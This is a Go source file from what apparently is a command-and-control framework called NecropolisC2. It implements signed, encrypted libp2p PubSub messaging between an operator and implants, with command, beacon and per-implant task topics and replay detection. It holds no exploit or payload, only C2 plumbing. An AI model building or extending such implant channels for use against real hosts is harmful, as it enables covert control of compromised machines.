// Messenger handles PubSub envelope signing, verification, encryption, replay detection,
// and topic-based message delivery. Used by both the operator and the implant.
package transport

import (
	"context"
	cryptorand "crypto/rand"
	"encoding/binary"
	"fmt"
	"log"
	"runtime/debug"
	"sync"
	"time"

	"google.golang.org/protobuf/proto"

	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/peer"

	apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
	"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)

var ErrSignatureInvalid = fmt.Errorf("signature invalid")

// MessageHandler is the callback invoked for each verified incoming envelope.
type MessageHandler func(ctx context.Context, envelope *apb.Envelope, senderPub crypto.PubKey)

// Messenger holds the node reference, cryptographic keys, operator identity, known
// implant keys (for the operator side), and a replay-detection ring buffer.
type Messenger struct {
	node          *Node
	handler       MessageHandler
	privKey       crypto.PrivKey
	operatorID    peer.ID
	trustedPubKey crypto.PubKey
	boxPubKey     *[32]byte
	authToken     []byte
	knownImplants map[string]crypto.PubKey
	mu            sync.RWMutex
	seenIDs       map[int64]time.Time
	seenMu        sync.Mutex
}

const replayWindow = 5 * time.Minute

// IsReplay returns true if the given envelope ID has been seen within the replay window.
func (m *Messenger) IsReplay(id int64) bool {
	m.seenMu.Lock()
	defer m.seenMu.Unlock()

	if m.seenIDs == nil {
		m.seenIDs = make(map[int64]time.Time)
	}

	if _, dup := m.seenIDs[id]; dup {
		return true
	}

	m.seenIDs[id] = time.Now()

	if len(m.seenIDs) > 10000 {
		cutoff := time.Now().Add(-replayWindow)
		for k, v := range m.seenIDs {
			if v.Before(cutoff) {
				delete(m.seenIDs, k)
			}
		}
	}

	return false
}

// NewOperatorMessenger creates a messenger for the operator side with the operator's
// signing key and node identity.
func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
	return &Messenger{
		node:          node,
		privKey:       keys.PrivateKey,
		operatorID:    node.ID(),
		knownImplants: make(map[string]crypto.PubKey),
	}
}

// NewImplantMessenger creates a messenger for the implant side with the trusted
// operator public key and optional box encryption key.
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
	opID, err := peer.IDFromPublicKey(operatorPub)
	if err != nil {
		opID = peer.ID("")
	}
	return &Messenger{
		node:          node,
		privKey:       keys.PrivateKey,
		operatorID:    opID,
		trustedPubKey: operatorPub,
		boxPubKey:     boxPubKey,
		knownImplants: make(map[string]crypto.PubKey),
	}
}

// SetHandler registers the callback for delivered envelopes.
func (m *Messenger) SetHandler(handler MessageHandler) {
	m.mu.Lock()
	defer m.mu.Unlock()
	m.handler = handler
}

// AddKnownImplant stores a verified implant public key by peer ID.
func (m *Messenger) AddKnownImplant(peerID string, pub crypto.PubKey) {
	m.mu.Lock()
	defer m.mu.Unlock()
	m.knownImplants[peerID] = pub
}

// KnownImplant returns the stored public key for the given implant peer ID.
func (m *Messenger) KnownImplant(peerID string) crypto.PubKey {
	m.mu.RLock()
	defer m.mu.RUnlock()
	return m.knownImplants[peerID]
}

// CommandTopic returns the topic where operators publish commands.
// Format: /necropolis/<operator-peerid>/commands
func (m *Messenger) CommandTopic() string {
	return CommandTopicPrefix + m.operatorID.String() + CommandsSuffix
}

// BeaconTopic returns the topic where implants publish beacons.
// Format: /necropolis/<operator-peerid>/beacons
func (m *Messenger) BeaconTopic() string {
	return BeaconTopicPrefix + m.operatorID.String() + BeaconsSuffix
}

// TaskTopic returns a per-implant topic for targeted commands.
// Format: /necropolis/<operator-peerid>/tasks/<implant-peerid>
func (m *Messenger) TaskTopic(implantPeerID string) string {
	return BeaconTopicPrefix + m.operatorID.String() + TasksSuffix + implantPeerID
}

// EnvelopeSigningBytes returns a deterministic protobuf serialization of all envelope
// fields except Signature for signing (avoiding circularity).
func EnvelopeSigningBytes(env *apb.Envelope) ([]byte, error) {
	signingEnv := &apb.Envelope{
		ID:        env.ID,
		Type:      env.Type,
		Data:      env.Data,
		Token:     env.Token,
		SenderKey: env.SenderKey,
	}
	return (proto.MarshalOptions{Deterministic: true}).Marshal(signingEnv)
}

// VerifyEnvelope checks that the envelope signature is valid against the trusted key.
func VerifyEnvelope(env *apb.Envelope, trustedPub crypto.PubKey) error {
	if trustedPub == nil {
		return fmt.Errorf("no trusted public key configured")
	}
	if len(env.Signature) == 0 {
		return fmt.Errorf("%w: missing signature", ErrSignatureInvalid)
	}
	signingData, err := EnvelopeSigningBytes(env)
	if err != nil {
		return fmt.Errorf("marshal signing data: %w", err)
	}
	ok, err := cryptography.Verify(trustedPub, signingData, env.Signature)
	if err != nil {
		return fmt.Errorf("verify: %w", err)
	}
	if !ok {
		return ErrSignatureInvalid
	}
	return nil
}

// PubKeyFromEnvelope deserializes the sender's public key from the envelope.
func PubKeyFromEnvelope(env *apb.Envelope) (crypto.PubKey, error) {
	if len(env.SenderKey) == 0 {
		return nil, fmt.Errorf("no sender key in envelope")
	}
	return cryptography.PubKeyFromBytes(env.SenderKey)
}

// listenVerified subscribes to a PubSub topic, verifies each envelope, and delivers
// validated messages to the handler.
func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted func() crypto.PubKey) error {
	sub, err := m.node.Subscribe(topic)
	if err != nil {
		return fmt.Errorf("subscribe %s: %w", topic, err)
	}
	// Relay this topic so messages are cached and forwarded to late-joining peers
	if t, err := m.node.JoinTopic(topic); err == nil {
		t.Relay()
	}
	go func() {
		defer sub.Cancel()
		defer func() {
			if r := recover(); r != nil {
				log.Printf("[messenger] panic in listenVerified: %v\n%s", r, debug.Stack())
			}
		}()
		for {
			msg, err := sub.Next(ctx)
			if err != nil {
				return
			}
			env := &apb.Envelope{}
			if err := proto.Unmarshal(msg.Data, env); err != nil {
				continue
			}

			trusted := getTrusted()
			if trusted == nil {
				trusted, err = PubKeyFromEnvelope(env)
				if err != nil {
					continue
				}
				senderID, idErr := peer.IDFromPublicKey(trusted)
				if idErr == nil {
					if stored := m.KnownImplant(senderID.String()); stored != nil {
						trusted = stored
					}
				}
			}

			if err := VerifyEnvelope(env, trusted); err != nil {
				continue
			}
			go m.deliver(ctx, env)
		}
	}()
	return nil
}

// ListenBeacons starts listening for implant beacon messages on the beacon topic.
func (m *Messenger) ListenBeacons(ctx context.Context) error {
	return m.listenVerified(ctx, m.BeaconTopic(), func() crypto.PubKey {
		return nil
	})
}

// ListenCommands starts listening for operator commands on the command topic.
func (m *Messenger) ListenCommands(ctx context.Context) error {
	return m.listenVerified(ctx, m.CommandTopic(), func() crypto.PubKey {
		m.mu.RLock()
		defer m.mu.RUnlock()
		return m.trustedPubKey
	})
}

// ListenTask starts listening for per-implant targeted commands on the task topic.
func (m *Messenger) ListenTask(ctx context.Context, implantPeerID string) error {
	return m.listenVerified(ctx, m.TaskTopic(implantPeerID), func() crypto.PubKey {
		m.mu.RLock()
		defer m.mu.RUnlock()
		return m.trustedPubKey
	})
}

// deliver extracts the sender's public key from the envelope and invokes the registered
// handler in a new goroutine (called from listenVerified).
func (m *Messenger) deliver(ctx context.Context, env *apb.Envelope) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[messenger] panic in deliver: %v\n%s", r, debug.Stack())
		}
	}()
	m.mu.RLock()
	handler := m.handler
	m.mu.RUnlock()
	if handler == nil {
		return
	}
	var pubKey crypto.PubKey
	if len(env.SenderKey) > 0 {
		pubKey, _ = PubKeyFromEnvelope(env)
	}
	handler(ctx, env, pubKey)
}

// SendEnvelope marshals and publishes an envelope to the given PubSub topic.
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *apb.Envelope) error {
	data, err := proto.Marshal(env)
	if err != nil {
		return fmt.Errorf("marshal envelope: %w", err)
	}
	return m.node.Publish(ctx, topic, data)
}

// SignAndSend encrypts the data (if box keys exist), signs the envelope with the private
// key, attaches the sender's public key, and publishes to the given topic.
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Envelope) error {
	if m.privKey == nil {
		return fmt.Errorf("no private key for signing")
	}

	if m.boxPubKey != nil && len(env.Data) > 0 {
		encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
		if err != nil {
			return fmt.Errorf("encrypt: %w", err)
		}
		env.Data = encrypted
	}

	pubBytes, err := crypto.MarshalPublicKey(m.privKey.GetPublic())
	if err == nil {
		env.SenderKey = pubBytes
	}

	signingData, err := EnvelopeSigningBytes(env)
	if err != nil {
		return fmt.Errorf("marshal signing data: %w", err)
	}
	sig, err := m.privKey.Sign(signingData)
	if err != nil {
		return fmt.Errorf("sign: %w", err)
	}
	env.Signature = sig
	return m.SendEnvelope(ctx, topic, env)
}

// CreateEnvelope builds a new envelope with a random ID, the given type, data payload,
// and the current auth token.
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *apb.Envelope {
	var b [8]byte
	cryptorand.Read(b[:])
	return &apb.Envelope{
		ID:    int64(binary.LittleEndian.Uint64(b[:])),
		Type:  msgType,
		Data:  data,
		Token: m.authToken,
	}
}

// RendezvousString returns the DHT rendezvous namespace scoped to the operator.
func (m *Messenger) RendezvousString() string {
	return "necropolis/" + m.operatorID.String()
}

// OperatorID returns the operator's peer ID.
func (m *Messenger) OperatorID() peer.ID {
	return m.operatorID
}

// SetAuthToken sets the authentication token added to outgoing envelopes.
func (m *Messenger) SetAuthToken(token []byte) { m.authToken = token }

// SetOperatorID overrides the operator's peer ID.
func (m *Messenger) SetOperatorID(id peer.ID) {
	m.operatorID = id
}